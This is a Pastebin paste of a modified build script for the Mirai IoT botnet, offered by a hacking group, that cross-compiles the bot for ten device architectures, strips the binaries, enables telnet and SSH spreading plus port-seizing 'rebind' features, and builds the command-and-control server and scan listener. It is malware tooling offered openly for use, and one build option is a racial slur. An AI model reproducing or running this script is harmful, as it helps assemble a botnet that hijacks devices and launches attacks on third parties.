KekSec

Mirai build.sh with all rebinds enabled. Modded by Milenko

Apr 17th, 2017
1,387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.26 KB | None | 0 0
  1. #!/bin/bash
  2. #build.sh modded compile with ALL rebinds enabled.
  3. #Modded by Milenko.
  4. #Follow @Nullzsec on Twitter for moar big HAX!
  5. #Make sure you uncomment #define KILLER_REBIND_SSH and #define KILLER_REBIND_HTTP in mirai/bot/killer.h or using this script is pointless!
  6. FLAGS=""
  7.  
  8. function compile_bot {
  9.     "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
  10.     "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
  11. }
  12.  
  13. if [ $# == 2 ]; then
  14.     if [ "$2" == "nigga" ]; then
  15.         FLAGS="-DMIRAI_SSH -DMIRAI_TELNET -DKILLER_REBIND_TELNET -DKILLER_REBIND_HTTP"
  16.     elif [ "$2" == "telnet" ]; then
  17.         FLAGS="-DMIRAI_TELNET"
  18.     elif [ "$2" == "ssh" ]; then
  19.         FLAGS="-DMIRAI_SSH"
  20.     fi
  21. else
  22.     echo "Missing build type."
  23.     echo "Usage: $0 <debug | release> <nigga | telnet | ssh>"
  24. fi
  25.  
  26. if [ $# == 0 ]; then
  27.     echo "Usage: $0 <debug | release> <telnet | ssh>"
  28. elif [ "$1" == "release" ]; then
  29.     rm release/mirai.*
  30.     rm release/miraint.*
  31.     go build -o release/cnc cnc/*.go
  32.     compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
  33.     compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
  34.     compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
  35.     compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
  36.     compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
  37.     compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
  38.     compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
  39.     compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
  40.     compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
  41.     compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"
  42.  
  43.     compile_bot i586 miraint.x86 "-static"
  44.     compile_bot mips miraint.mips "-static"
  45.     compile_bot mipsel miraint.mpsl "-static"
  46.     compile_bot armv4l miraint.arm "-static"
  47.     compile_bot armv5l miraint.arm5n " "
  48.     compile_bot armv6l miraint.arm7 "-static"
  49.     compile_bot powerpc miraint.ppc "-static"
  50.     compile_bot sparc miraint.spc "-static"
  51.     compile_bot m68k miraint.m68k "-static"
  52.     compile_bot sh4 miraint.sh4 "-static"
  53.  
  54.     go build -o release/scanListen tools/scanListen.go
  55. elif [ "$1" == "debug" ]; then
  56.     gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
  57.     mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
  58.     armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
  59.     armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
  60.     sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
  61.     gcc -std=c99 tools/enc.c -g -o debug/enc
  62.     gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
  63.     gcc -std=c99 tools/badbot.c -g -o debug/badbot
  64.     go build -o debug/cnc cnc/*.go
  65.     go build -o debug/scanListen tools/scanListen.go
  66. else
  67.     echo "Unknown parameter $1: $0 <debug | release>"
  68. fi
Advertisement
Add Comment
Please, Sign In to add comment